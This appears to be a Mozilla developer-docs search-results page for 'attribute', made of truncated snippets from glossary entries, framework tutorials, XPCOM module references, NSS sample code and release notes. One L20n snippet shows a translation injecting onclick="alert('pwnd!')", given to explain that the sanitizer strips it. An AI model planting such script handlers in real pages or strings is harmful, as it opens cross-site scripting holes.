attributes as a pixel. a pixel: a point on the screen arranged in the 2d grid, which holds an rgba color. vertex and fragment processing are programmable — you can write your own shaders that manipulate the output. vertex processing vertex processing is about combining the information about individual vertices into primitives and setting their coordinates in the 3d space for the viewer to see. it's ...
Parse - MDN Web Docs Glossary: Definitions of Web-related terms
parsing means analyzing and converting a program into an internal format that a runtime environment can actually run, for example the javascript engine inside browsers. the browser parses html into a dom tree. html parsing involves tokenization and tree construction. html tokens include start and end tags, as well as
attribute names and values. if the document is well-formed, parsing it is straightforward and faster. ...
...cument is well-formed, parsing it is straightforward and faster. the parser parses tokenized input into the document, building up the document tree. when the html parser finds non-blocking resources, such as an image, the browser will request those resources and continue parsing. parsing can continue when a css file is encountered, but <script> tags—particularly those without an async or defer
attribute—blocks rendering, and pauses parsing of html. when the browser encounters css styles, it parses the text into the css object model (or cssom), a data structure it then uses for styling layouts and painting. the browser then creates a render tree from both these structures to be able to paint the content to the screen. javascript is also downloaded, parsed, and then execute. javascript parsing...
caret - MDN Web Docs Glossary: Definitions of Web-related terms
user interfaces represent the caret using a thin vertical line or a character-sized box that flashes, but this can vary. this point in the text is called the insertion point. the word "caret" differentiates the text insertion point from the mouse cursor. on the web, a caret is used to represent the insertion point in <input> and <textarea> elements, as well as any elements whose contenteditable
attribute is set, thereby allowing the contents of the element to be edited by the user. learn more general knowledge caret navigation on wikipedia css related to the caret you can set the color of the caret for a given element's editable content by setting the element's css caret-color property to the appropriate <color> value. html elements that may present a caret these elements provide text e...
...e text entry fields or boxes and therefore make use of the caret. <input type="text"> <input type="password"> <input type="search"> <input type="date">, <input type="time">, <input type="datetime">, and <input type="datetime-local"> <input type="number">, <input type="range"> <input type="email">, <input type="tel">, and <input type="url"> <textarea> any element with its contenteditable
attribute set ...
Introduction to client-side frameworks - Learn web development
several more lines of code to create the properties and children it needs. the tenth line of this snippet references another build function: builddeletebuttonel(). it follows a similar pattern to the one we used to build a list item element: function builddeletebuttonel(id) { const button = document.createelement('button'); const textcontent = document.createtextnode('delete'); button.set
attribute('type', 'button'); button.appendchild(textcontent); return button; } this button doesn't do anything yet, but it will later once we decide to implement our delete feature. the code that will render our items on the page might read something like this: function rendertodolist() { const frag = document.createdocumentfragment(); state.tasks.foreach(task => { const item = buildtodoitem...
... to understand at a glance. by contrast, the following block of code illustrates the way you might use vue to describe our list of tasks: <ul> <li v-for="task in tasks" v-bind:key="task.id"> <span>{{task.name}}</span> <button type="button">delete</button> </li> </ul> that's it. this snippet reduces approximately thirty-two lines of code down to six lines. if the curly braces and v-
attributes here are unfamiliar to you, that's okay; you’ll learn about vue-specific syntax later on in the module. the thing to take away here is that this code looks like the ui it represents, whereas the vanilla javascript code does not. thanks to vue, we didn't have to write our own functions for building the ui; the framework will handle that for us in an optimized, efficient way. our only role here...
React interactivity: Editing, filtering, conditional rendering - Learn web development
oring and setting the new name. still in todo.js, put the following underneath the existing hook: const [newname, setnewname] = usestate(''); next, create a handlechange() function that will set the new name; put this underneath the hooks but before the templates: function handlechange(e) { setnewname(e.target.value); } now we'll update our editingtemplate's <input /> field, setting a value
attribute of newname, and binding our handlechange() function to its onchange event. update it as follows: <input id={props.id} classname="todo-text" type="text" value={newname} onchange={handlechange} /> finally, we need to create a function to handle the edit form’s onsubmit event; add the following just below the previous function you added: function handlesubmit(e) { e.preventdefault()...
...n classname="visually-hidden"> tasks</span> </button> ); } visit your browser again. you should see that the different buttons have been given their respective names. when you press a filter button, you should see its text take on a new outline — this tells you it has been selected. and if you look at your devtool’s page inspector while clicking the buttons, you'll see the aria-pressed
attribute values change accordingly. however, our buttons still don't actually filter the todos in the ui! let's finish this off. filtering tasks in the ui right now, our tasklist constant in app() maps over the tasks state and returns a new <todo /> component for all of them. this is not what we want! a task should only render if it is included in the results of applying the selected filter. before w...
Componentizing our Svelte app - Learn web development
component. first of all, we need to import it — add the following line at the top of the todos.svelte <script> section: import filterbutton from './filterbutton.svelte' now, replace the filters <div> with a call to the filterbutton component, which takes the current filter as a prop — the below line is all you need: <filterbutton {filter} /> note: remember that when the html
attribute name and variable matches, they can be replaced with {variable}, that's why we could replace <filterbutton filter={filter} /> with <filterbutton {filter} />. so far so good! let's try out the app now. you'll notice that when you click on the filter buttons, they are selected and the style updates appropriately. but! we have a problem — the todos aren't filtered. that's because the filter vari...
...tively (we added those functions earlier): when oncancel() is invoked, name is restored to its original value (when passed in as a prop) and we exit editing mode (by setting editing to false). when onsave() in invoked, we run the update() function — passing it the modified name — and exit editing mode. we also disable the save button when the <input> is empty, using the disabled={!name}
attribute, and allow the user to cancel the edit using the escape key, like this: on:keydown={e => e.key === 'escape' && oncancel()}. we also use todo.id to create unique ids for the new input controls and labels. the complete updated markup of our todo component looks like the following. update yours now: <div class="stack-small"> {#if editing} <!-- markup for editing todo: label, input text,...
Mozilla accessibility architecture
parallels the dom tree, but is not a full representation. above: a diagram showing that the msaa tree is a subset of the dom tree. the situation for other accessibility apis is similar. the problem is, what happens if there are dom nodes that the assistive technology vendors wants to know about, which are not exposed? also, what if they want to get dom information, like css rules, tag names and
attributes, that msaa's iaccessible does not provide? on windows, we solve this by supporting an additional interface beyond msaa's iaccesible, for every dom node. queryinterface() can be used to switch between the two interfaces. if there is no msaa node for a dom node, paccessible->queryinterface(iid_iaccessible) will return null. in addition, some vendors had asked us to provide information and support ...
...-generated versions of event_create and event_destroy, so the msaa client cannot listen to them. we fire the safer event_reorder in their place.. to see what parts of the accessibility cache need to be invalidated. however, we are careful not to do this work for mutation events fired because the document is still loading. currently (as of may 2003), we do not yet use domattrmodied to listen to
attribute changes on a node. we need to listen to some
attribute changes because they might signal the need to invalidate parts of our cache; for example, if the name or href
attribute on an anchor element changes, or the usemap
attribute of an img changes. these cases are not very likely, but we should try to think of real-world scenarios where it might happen. if we do this, the code would go into nsdoca...
Application cache implementation overview
fflinemanifest() called from the html parser every time <html> tag has been parsed. processofflinemanifest is an effective implementation of “cache selection algorithm” as described by the html5 spec. for purpose of this documentation it's enough to describe the simplest case ; for complete documentation of the selection algorithm refer to the spec or to the code. when the url in the manifest
attribute of the html tag is identical to the manifest url the channel's nsiapplicationcache object belongs to and, the channel's loadedfromapplicationcache flag is set, the document is associated with that nsiapplicationcache object and an update attempt for the manifest is scheduled after the document completely loads. marking entries as foreign when nscontentsink::processofflinemanifest() discovers that...
...ical to the manifest url the channel's nsiapplicationcache object belongs to and, the channel's loadedfromapplicationcache flag is set, the document is associated with that nsiapplicationcache object and an update attempt for the manifest is scheduled after the document completely loads. marking entries as foreign when nscontentsink::processofflinemanifest() discovers that the url in the manifest
attribute of the html tag is different from the manifest url the channel's nsiapplicationcache object belongs to, the entry the document has been loaded from is marked “foreign” and the page load is completely restarted. the load starts again from the top with a completely new channel. but this time the entry is not selected to load the top level document from. we search another, if available, potentia...
Creating JavaScript callbacks in components
r the listener instead of an nsidomeventlistener implementation: function doload(event) { // do something here } window.addeventlistener("load", doload, false); revealing the magic how is this possible? is nsidomeventlistener magical? well, it actually is a little magical. but you can use the same magic in your own idl callbacks. the nsidomeventlistener interface is "marked" with the function
attribute. see it here. the function
attribute tells the xpconnect machinery to treat the javascript function as if it was an implementation of the callback interface. note, that since the javascript function is a single method, this magic only works for callback interfaces with a single method, like nsidomeventlistener. the javascript function is passed the same arguments as defined by the callback method...
...now we can create a callback javascript function to handle the onword event: function handleword(word) { alert(word); } var stringparser = /* get a reference to the parser somehow */ stringparser.addobserver(handleword); stringparser.parse("pay no attention to the man behind the curtain"); yes, you can still use the normal interface-based callback implementation to...
Creating reftest-based unit tests
very, very low. for tests that are run manually, this is not true. the cost of thinking about and managing the execution of a manual test is fairly high. this is why manual tests tend to get longer, include more steps and ultimately become a long list that actually tests a lot of things. so, create small tests. for example, it occurs to me that we assume that spaces between a element name and an
attribute name have no effect, but do we know this is true? who checks this? it is completely trivial, but so what. i can create 50 or 100 test files that have spaces between the element name and the
attribute of a element for a bunch of different elements, add those to the list of tests to be run, and it causes no problems for anyone. maybe it will actually take 500 test files to actually check this behav...
...test-wait" to the root element in the test to tell the reftest framework not to check the rendering as soon as the test finishes loading and moving on to the next test. next you need to add a listener for the 'mozreftestinvalidate' event, and only make the changes you want to test invalidation for after that event has fired. third, you need to remove 'reftest-wait' from the root element's 'class'
attribute to tell the reftest framework that the test is now ready to have its rendering tested. the reason for using the 'mozreftestinvalidate' event is because a document's initial painting is not typically finished when the 'load' event fires. it would be possible to try and wait for the initial rendering to be done using a settimeout, but that would be unreliable, and just as bad, it can increase the ...
Debugging Table Reflow
n which width has been set for each column. the index of the column, whether it is anonymous and what kind of constrained has been appliedcolindex=0 isanonymous=0 constraint=0. the following constraint types are known: enoconstraint = 0, epixelconstraint = 1, // pixel width epercentconstraint = 2, // percent width eproportionconstraint = 3, // 1*, 2*, etc. ...
...leaving assignnonpctcolwidths shows that already to all columns a width of 360 twips has been assigned assignnonpctcolwidths ex ***start table dump*** mcolwidths=360 360 360 360 col frame cache -> 0=00b93138 1=00b931f0 2=024dd728 3=02...
HTMLIFrameElement.clearMatch()
. syntax instanceofhtmliframeelement.clearmatch(); returns void. parameters none. examples the following function is taken from our browser api demo, and (amongst other things) clears the search results when the search bar is hidden, if an existing search is active. see implementing the search bar for more explanation. ...
...h(); returns void. parameters none. examples the following function is taken from our browser api demo, and (amongst other things) clears the search results when the search bar is hidden, if an existing search is active. see implementing the search bar for more explanation. searchtoggle.addeventlistener('touchend',function() { if(search.get
attribute('class') === 'search') { search.set
attribute('class', 'search shifted'); } else if(search.get
attribute('class') === 'search shifted') { search.set
attribute('class', 'search'); if(searchactive) { browser.clearmatch(); searchactive = false; prev.disabled = true; next.disabled = true; searchbar.value = ''; } } }); specification not part of any specification. ...
mozbrowsercontextmenu
em object, below), containing details of the standard menu(s) that will be shown. for example, if the user clicked on an image nested in an <a> tag, two menus are available — one with information related to the image, and one for the link. contextmenu a menu object (see the menu object, below) representing a custom menu defined via <menu> / <menuitem> elements and pointed to via a contextmenu
attribute on the dom element clicked on, which contains the menu's id. contextmenuitemselected an anonymous function that fires when a menu item is selected. the menusystem object an object defining a standard context menu that will be displayed. its properties are as follows: documenturi a domstring representing the url of the document the menu is associated with. uri a domstring. in the case o...
...ction a domstring representing the action of a form, in the case of a form context menu. method a domstring representing the method of a form, in the case of a form context menu. name a domstring representing the name of a form, in the case of a form context menu. the menu object an object representing a custom menu defined via <menu> / <menuitem> elements and pointed to via a contextmenu
attribute on the dom element clicked on, which contains the menu's id. its properties are as follows: type a domstring representing the type of context menu displayed. it can be menu (a full menu) or menuitem (a single menu item.) label a domstring equal to the label
attribute of the dom node the context menu is accessed on. icon the menu item's icon, if the context menu being accessed is a menu it...
mozbrowsermetachange
ype of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. ...
... whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: name a domstring representing the <meta> name
attribute value. this can be viewmode, theme-color, theme-group, or application-name. content a domstring representing the <meta> content
attribute value, i.e. the content of the meta tag. type a domstring representing the type of meta change that this event object represents. this can be added, changed, removed, or undefined. lang optional a domstring representing the <meta> name
attribute value, if included. if not included, the value returned is undefined. example var browser = document.queryselector("iframe"); browser.addeventlis...
Addon
blockliststate read only integer the current blocklist state of this add-on; see nsiblocklistservice for possible values. creator read only addonauthor the creator of the add-on. ...
...dated at all. scope read only integer indicates what scope the add-on is installed in, per profile, user, system, or application. type read only string the type of the add-on. userdisabled boolean true if the user wants this add-on to be disabled. version read only string the version of the add-on. optional properties
attribute type description abouturl read only string the url of the about dialog to display for this add-on. this is passed to window.opendialog() when presenting the about dialog. if you don't provide an abouturl, a generic about dialog is displayed. the dialog receives the addon object representing your add-on as a parameter. applybackgroundupdates integer indicates w...
AsyncShutdown.jsm
during shutdown to avoid blocking system shutdown, preventing the user from restarting firefox or burning through a battery. in this case, a crash report is produced, with information on all the shutdown blockers that have not been resolved, and all the additional debug information returned by calls to info(). instances of phase note that you cannot create an instance of phase yourself. see
attributes for the instances of phase. if you need a new phase added to asyncshutdown, please file a bug. methods overview void addblocker(string name, function|promise condition, optional function info) boolean removeblocker(function|promise condition) methods addblocker () register a blocker for the completion of a phase. void addblocker( in string name, in function|prom...
...antee about completion of profilebeforechange }); if the promise returned by condition is not resolved/rejected within one minute, the process will crash to avoid blocking system shutdown, preventing the user from restarting firefox or burning through battery. this is by design. it is the caller's responsibility to ensure that the promise is eventually resolved/rejected. properties
attribute type description profilebeforechange read only phase the profile is about to be unmounted. this phase represents the last chance to write data to the profile directory. sendtelemetry read only phase telemetry is being sent. this phase represents the last chance for telemetry to write data. webworkersshutdown read only p...
FxAccountsProfileClient.jsm
the fxaccountsprofileclient.jsm javascript module provides a way to fetch firefox accounts profile information. the modules uses the firefox profiler server api. components.utils.import("resource://gre/modules/fxaccountsprofileclient.jsm"); creating a new fxaccountsprofileclient new fxaccountsprofileclient(object options); method overview fetchprofile();
attributes serverurl url profiler server url. token string bearer token. constructor fxaccountsprofileclient() creates and returns a new fxaccountsprofileclient object. fxaccountsprofileclient fxaccountsprofileclient( object options string serverurl, string token ); parameters serverurl - firefox profile server url. token - firefox accounts oauth bearer token. return value a newly ...
...ing the fxaccountsprofileclient chrome code let client = new fxaccountsprofileclient({ serverurl: "https://profile.accounts.firefox.com/v1", token: "fxa_oauth_bearer_token", }); client.fetchprofile().then(profile => console.log(profile)); error handling the fxaccountsprofileclient.jsm normalizes request and client errors into fxaccountsprofileclienterror object. fxaccountsprofileclienterror
attributes name string name of the error fxaccountsprofileclienterror code number status code of the request errno number error number error string error description message string error message ...
JNI.jsm
ve value in the avalsarray. void setelements(number astart, [array, size_is(arr.length > number anynumber > 0)] in cdata avalsarray); parameters astart the position to start setting elements of the array in. avalsarray a javascript array holding the values to set. return value this function has no return value, if you try to store the return value in a variable, it will be undefined. ...
...array. void setelements(number astart, [array, size_is(arr.length > number anynumber > 0)] in cdata avalsarray); parameters astart the position to start setting elements of the array in. avalsarray a javascript array holding the values to set. return value this function has no return value, if you try to store the return value in a variable, it will be undefined. ...
NetUtil.jsm
methods asynccopy() the asynccopy() method performs a simple asynchronous copy of data from a source input stream to a destination output stream. both streams are automatically closed when the copy operation is completed. nsiasyncstreamcopier asynccopy( asource, asi...
... methods asynccopy() the asynccopy() method performs a simple asynchronous copy of data from a source input stream to a destination output stream. both streams are automatically closed when the copy operation is completed. nsiasyncstreamcopier asynccopy( asource, asink, acallback ); ...
OS.File.Error
error exists() methods os.file.error.closed() return an error representing the fact that a file is closed. os.file.error.exists() return an error representing the fact that a file exists. instances of os.file.error in case of any i/o error, the functions of os.file raise instances of os.file.error. these exceptions hold both a human-readable error message detailing the i/o error and
attributes to help determining the cause of the error. cross-platform
attributes operation the human-readable name of the failed operation. becauseexists true if the operation failed because a file or directory exists, false otherwise. becausenosuchfile true if the operation failed because a file or directory does not exist, false otherwise. becauseclosed tru...
...adable name of the failed operation. becauseexists true if the operation failed because a file or directory exists, false otherwise. becausenosuchfile true if the operation failed because a file or directory does not exist, false otherwise. becauseclosed true if the operation failed because a file or directory is closed, false otherwise. platform-specific
attributes unixerrno (defined under unix only) the system error number (errno) for the error. for more details, you may compare it with the error constants of os.constants.libc.e*. winlasterror (defined under windows only) the system error number (getlasterror) for the error. for more details, you may compare it with the error constants of os.constants.win.error_*. ...
XPCOMUtils.jsm
methods definelazygetter() getter functions in javascript give you a way to define a property of an object, but not calculate the property's value until it is accessed. a getter defers the cost of calculating the value until the value is needed, and if ...
... methods definelazygetter() getter functions in javascript give you a way to define a property of an object, but not calculate the property's value until it is accessed. a getter defers the cost of calculating the value until the value is needed, and if it is never needed, y...
source-editor.jsm
you can then use this value to detect when the contents of the text are different from your most recent save. in addition, when this value changes, the "dirtychanged" event is sent. editorelement element the element ...
... ...
Localization content best practices
tes localizers usually work on the localizable files without the context of the source files including the localized strings; it is important to add comments to the localizable files themselves, too. these comments are generally referred to as localization notes. don't forget to add a localization note when: part of the string is not supposed to be localized (for example, the name of an html
attribute in a warning). string includes variables: always explain what will be the value of these variables at run-time. english could be ambiguous. for example: bookmark. is this a noun or a verb? using meaningful ids could also help in these cases. strings are used in a specific context. for example accessibility (a11y) strings: in this case space is less important than clarity, since these strings a...
...s. avoid unnecessary complexity in strings consider this string: privacy-link = <p>by proceeding you accept the <a href="https://www.mozilla.org/privacy" class="external">privacy terms</a>.</p> in this case, you shouldn't put the url inside the localization string, unless you need it to be localizable. if you change the url, you're going to need a new string id; the same goes for the anchor's
attributes, or the paragraph markup. instead, you should use the following strings # localization note(privacy-text): {{link}} will be replaced at run-time # by an active link. string with id 'privacy-link' will be used as text # for this link. privacy-text = by proceeding you accept the {{link}}. privacy-link = privacy terms and then replace {{link}} at run-time with the link. don't hardcode characters...
MathML Torture Test
addeventlistener("change", updatemathfont, false) } window.addeventlistener("load", load, false); the following test contains sample tex formulas from knuth's tex book and equivalent mathml representations. it compares the rendering by the xetex ...
... addeventlistener("change", updatemathfont, false) } window.addeventlistener("load", load, false); the following test contains sample tex formulas from knuth's tex book and equivalent mathml representations. it compares the rendering by the xetex engine using the default latin modern math font agai...
MathML Demo: <mo> - operator, fence, separator, or accent
in latex, the lspace on a left side fence delimiter and the rspace on a right side fence delimiter is not 0. here's an example to illustrate spacin...
... k 1 2 2 / \ k 1 2 2 \ ↕ k 1 2 2 ↕ ⇕ k 1 2 2 ⇕ ↑ k 1 2 2 ↑ ⇑ k 1 2 2 ⇑ ↓ k 1 2 2 ↓ ⇓ k 1 2 2 ⇓ generally, it is safest to script all
attributes that configure an <mo> as a fence (fence, stretchy, symmetric, lspace, rspace). this is especially important for vertical arrows used as fences. the default
attributes given in the mathml operator dictionary don't configure vertical arrows as fences. in latex, the lspace on a left side fence delimiter and the rspace on a right side fence delimiter is not 0. here's an example to illustrate spacing around fences m [ m m m ] m ( m m ) m { m m } m ⟨ m m ⟩ m | m m | m m ...
MathML Demo: <mspace> - space
tle="decrease depth">-</a> <math display="block"> <mstyle displaystyle="true"> <msqrt> <mrow> <mn>3</mn> <mspace style="background-color: yellow" id="thespace" height="0.1ex" depth="0.1ex" width="0.1em" /> <mi>x</mi> </mrow> </msqrt> </mstyle> </math> </p> javascript content var height=0; var width=0; var depth=0; function upheight() { height++; document.getelementbyid("thespace").set
attribute("height",height+".1ex"); } function downheight() { height--; document.getelementbyid("thespace").set
attribute("height",height+".1ex"); } function upwidth() { width++; document.getelementbyid("thespace").set
attribute("width",width+".1em"); } function downwidth() { width--; document.getelementbyid("thespace").set
attribute("width",width+".1em"); } function updepth() { depth++; docume...
...ion downheight() { height--; document.getelementbyid("thespace").set
attribute("height",height+".1ex"); } function upwidth() { width++; document.getelementbyid("thespace").set
attribute("width",width+".1em"); } function downwidth() { width--; document.getelementbyid("thespace").set
attribute("width",width+".1em"); } function updepth() { depth++; document.getelementbyid("thespace").set
attribute("depth",depth+".1ex"); } function downdepth() { depth--; document.getelementbyid("thespace").set
attribute("depth",depth+".1ex"); } ...
Mozilla DOM Hacking Guide
is the schema used most of the time when using w3c dom objects and methods. it is however different for some dom level 0 objects and methods. i'll take two very different examples. the first one is the window.location object (the same holds true for document.location, actually). we can change the url of the current window by assigning window.location. in idl, location is declared to be a readonly
attribute. this is because, if we had a setlocation() method, it would take an nsidomlocation parameter, and not a url string. instead, in the helper class for the window object (nswindowsh, see the next section), we define the getproperty() member function. getproperty() is a function used by xpconnect when we are setting an unknown property on the object (window, in our case). in getproperty(), we check ...
...e of a helper class is created the first time xpconnect needs access to the flattened set of interfaces of an object. the instance is then cached for further use. most of the helper classes implement one or more nsixpcscriptable methods. those methods are used by xpconnect when we require something from javascript that was not defined in idl. for example, getproperty() is used when retrieving an
attribute that was not defined in idl, and newresolve() is used when resolving for the first time an
attribute or method that was not previously resolved. please see the nsixpcscriptable interface for more information. the nsdomclassinfo class the heart of class info is the nsdomclassinfo class, defined in nsdomclassinfo.h. it implements two interfaces besides nsisupports: nsixpcscriptable and nsiclassin...
Mozilla Web Services Security Model
file exists, then access will be denied. the allow element if no delegate elements are present or if the web service is in the same directory as the web-script-access.xml file, then the allow elements will be processed. if the file exists but contains no allow elements, then all access will be allowed. if allow elements exist, then the access will be allowed if one of them allows it. the type
attribute the type
attribute of the allow element can take the following values: any means that the allow element applies to all services that use web-scripts-access.xml for security checks. there may be more such such services in the future than there are now. this is the same as not having a type
attribute. load [not implemented!] ability to load documents via xmlhttprequest or similar mechanism...
...lies to all services that use web-scripts-access.xml for security checks. there may be more such such services in the future than there are now. this is the same as not having a type
attribute. load [not implemented!] ability to load documents via xmlhttprequest or similar mechanisms. soap soap requests without verification headers soapv soap requests with verification headers the from
attribute the from
attribute on the allow element says which calling sites the allow element applies to. if there is no from
attribute then the allow element applies to all sites. the from
attribute otherwise gives a url to match, which may contain up to two asterisks (*) that match any characters in the url. the match is done against a url from which the directory and file have been removed, so trying to...
Mozilla Style System
ts; it instead deals with style rule processors. nsistyleruleprocessor a style rule processor represents an origin within the css cascade. thus there is a single style rule processor for all user-agent css style sheets, a single style rule processor for all user css style sheets, and a single style rule processor for all author css style sheets. there is also a style rule processor for style
attributes (which contain css declarations) and one for presentational
attributes in html. the methods on nsistyleruleprocessor allow the front end to ask the back ends for the style data that applies to a given element or pseudo-element, in the form of style rules. nsistylerule an nsistylerule is animmutable set of css property-value pairs. for css style sheets, they correspond to css's concept of ru...
... return pr_true; or like this: const nsstyleposition *stylepos = aframe->getstyleposition(); if (stylepos->mwidth.getunit() == estyleunit_coord) { nscoord w = stylepos->mwidth.getcoordvalue(); ... } else if (stylepos->mwidth.getunit() == estyleunit_percent) { ... rule tree style data computation css style sheet backend loading parsing data structures cascading html mapped
attribute backend css style
attribute backend handling of dynamic changes see also mozilla style system documentation (2002) style system tech talk (2002) ...
Preferences system
this document describes toolkit's preferences system. using this system it is possible to create preferences windows that display and operate appropriately on various platforms (windows, macos x and gnome). the system is implemented through a few xul elements and
attributes. ...
...eferences windows that display and operate appropriately on various platforms (windows, macos x and gnome). the system is implemented through a few xul elements and
attributes. reference information about them is available below: preferences system documentation: introduction: getting started | examples | troubleshooting reference: prefwindow | prefpane | preferences | preference | xul
attributes use code for a typical preferences window may look like this: <prefwindow id="apppreferences" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <prefpane id="pane1" label="&pane1.title;"> <preferences> <preference id="pref1" name="pref.name" type="bool"/> </preferences> .. ui elements that refer to the preferences above, e.g.: <checkbox ...
L20n HTML Bindings
ifest to define available languages and their resource files. <link rel="localization" href="../locales/manifest.json"> an example of the manifest file (all keys are required): { "locales": [ "en-us", "pl"], "default_locale": "en-us", "resources": [ "../locales/{{locale}}/strings.l20n", "/shared/{{locale}}/date.l20n"¨ ] } make html elements localizable use the data-l10n-id
attribute on an html element to mark it as localizable. <p data-l10n-id="about"></p> notice that you don't have to put the text content in the html anymore (you still can if you want to). all content lives in the localization resources. a safe subset of html elements (e.g. em, sup),
attributes (e.g. title) and entities can be used in translations. in addition to the pre-defined whitelists, any element ...
... onclick="alert('pwnd!')" title="back to the homepage">cancel</a>. """> the result will be: <p data-l10n-id="back"> <input value="save" type="submit"> or <a href="/main" class="btn-cancel" title="back to the homepage">cancel</a>. </p> the input element is not on the default whitelist but since it's present in the source html, it is also allowed in the translation. the value
attribute is allowed on input elements, but type is not. similarly, href and onclick
attributes are not allowed in translations and they are not inserted in the final dom. however, the title
attribute is safe. it is important to note that applying translations doesn't replace dom elements, but only modifies their text nodes and their
attributes. this makes it possible to use l20n in conjunction with mvc f...
Certificate functions
.4 and later cert_findcertissuer mxr 3.3 and later cert_findkeyusageextension mxr 3.4 and later cert_findsmimeprofile mxr 3.2 and later cert_findsubjectkeyidextension mxr 3.7 and later cert_findusercertbyusage mxr 3.4 and later cert_findusercertsbyusage mxr 3.4 and later cert_finishcertificaterequest
attributes mxr 3.10 and later cert_finishextensions mxr 3.5 and later cert_formatname mxr 3.2 and later cert_freedistnames mxr 3.2 and later cert_freenicknames mxr 3.2 and later cert_getavatag mxr 3.2 and later cert_getcertchainfromcert mxr 3.4 and later cert_getcertemailaddress mxr 3.2 and later ...
...if you need to verify for multiple usage...
Encrypt Decrypt MAC Keys As Session Objects
r, "%-7s .enc and .header as intermediate output files.\n\n", ""); fprintf(stderr, "%-7s for decrypt, it takes .enc and .header\n", ""); fprintf(stderr, "%-7s as input files and produces as a final output file.\n\n", ""); exit(-1); } /* * gather a cka_id */ secstatus gathercka_id(pk11symkey* key, secitem* buf) { secstatus rv = pk11_readraw
attribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readraw
attribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id
attribute\n"); return rv; } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, ...
...); strcpy(trailer, pad_trailer); break; } pr_fprintf(outfile, "%s\n", header); printashex(outfile, buf, len); pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; } /* * initialize for encryption or decryption - common code */ pk11context * cryptinit(pk11symkey *key, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type, ck_
attribute_type operation) { secitem ivitem = { sibuffer, iv, ivlen }; pk11context *ctx = null; secitem *secparam = pk11_paramfromiv(ckm_aes_cbc, &ivitem); if (secparam == null) { pr_fprintf(pr_stderr, "crypt failed : secparam null\n"); return null; } ctx = pk11_createcontextbysymkey(ckm_aes_cbc, operation, key, secparam); if (ctx == null) { pr_fprintf(pr...
Encrypt and decrypt MAC using token
r, "%-7s .enc and .header as intermediate output files.\n\n", ""); fprintf(stderr, "%-7s for decrypt, it takes .enc and .header\n", ""); fprintf(stderr, "%-7s as input files and produces as a final output file.\n\n", ""); exit(-1); } /* * gather a cka_id */ secstatus gathercka_id(pk11symkey* key, secitem* buf) { secstatus rv = pk11_readraw
attribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readraw
attribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id
attribute\n"); return rv; } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, ...
...); strcpy(trailer, pad_trailer); break; } pr_fprintf(outfile, "%s\n", header); printashex(outfile, buf, len); pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; } /* * initialize for encryption or decryption - common code */ pk11context * cryptinit(pk11symkey *key, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type, ck_
attribute_type operation) { secitem ivitem = { sibuffer, iv, ivlen }; pk11context *ctx = null; secitem *secparam = pk11_paramfromiv(ckm_aes_cbc, &ivitem); if (secparam == null) { pr_fprintf(pr_stderr, "crypt failed : secparam null\n"); return null; } ctx = pk11_createcontextbysymkey(ckm_aes_cbc, operation, key, secparam); if (ctx == null) { pr_fprintf(pr...
NSS_3.12_release_notes.html
(see cert.h) hash_gettype (see sechash.h) nss_initwithmerge (see nss.h) pk11_createmergelog (see pk11pub.h) pk11_creategenericobject (see pk11pub.h) pk11_createpbev2algorithmid (see pk11pub.h) pk11_destroymergelog (see pk11pub.h) pk11_generatekeypairwithopflags (see pk11pub.h) pk11_getpbecryptomechanism (see pk11pub.h) pk11_isremovable (see pk11pub.h) pk11_mergetokens (see pk11pub.h) pk11_writeraw
attribute (see pk11pub.h) seckey_ecparamstobasepointorderlen (see keyhi.h) seckey_ecparamstokeysize (see keyhi.h) secmod_deletemoduleex (see secmod.h) sec_getregisteredhttpclient (see ocsp.h) sec_pkcs5isalgorithmpbealgtag (see secpkcs5.h) vfy_createcontextdirect (see cryptohi.h) vfy_createcontextwithalgorithmid (see cryptohi.h) vfy_verifydatadirect (see cryptohi.h) vfy_verifydatawithalgorithmid (see crypto...
...ge the gmt_unix_time is incorrect bug 424917: performance regression with studio 12 compiler bug 391770: ocsp_global.monitor is leaked on shutdown bug 403687: move pkix functions to certvfypkix.c, turn off ev_test_hack bug 428105: cert_setocsptimeout is not defined in any public header file bug 213359: enhance pk12util to extract certs from p12 file bug 329067: nss encodes cert distinguished name
attributes with wrong string type bug 339906: sec_pkcs12_install_bags passes uninitialized variables to functions bug 396484: certutil doesn't truncate existing temporary files when writing them bug 251594: certificate from pkcs#12 file with colon in friendlyname not selectable for signing/encryption bug 321584: nss pkcs12 decoder fails to import bags without nicknames bug 332633: remove duplicate header f...
NSS 3.44 release notes
d form of a certcertificate. notable changes in nss 3.44 it is now possible to build nss as a static library (bug 1543545) initial support for building for ios. ...
...ible to build nss as a static library (bug 1543545) initial support for building for ios. ...
NSS 3.53 release notes
rectory freebl/deprecated (bug 1636389). seed will be disabled by default in a future release of nss. at that time, users will need to set the compile-time flag (bug 1622033) to disable that deprecation in order to use the algorithm. algorithms marked as deprecated will ultimately be removed. ...
...oved. several root certificates in the mozilla program now set the cka_nss_server_distrust_after
attribute, which nss consumers can query to further refine trust decisions. (bug 1618404, bug 1621159) if a builtin certificate has a cka_nss_server_distrust_after timestamp before the sct or notbefore date of a certificate that builtin issued, then clients can elect not to trust it. this
attribute provides a more graceful phase-out for certificate authorities than complete removal from the root certificate builtin store. bugs fixed in nss 3.53 bug 1640260 - initialize pbe params (asan fix) bug 1618404 - set cka_nss_server_distrust_after for symantec root certs bug 1621159 - set cka_nss_server_distrust_after for consorci aoc, grca, and sk id root certs bug 1629414 - ppc64: corr...
Enc Dec MAC Output Public Key as CSR
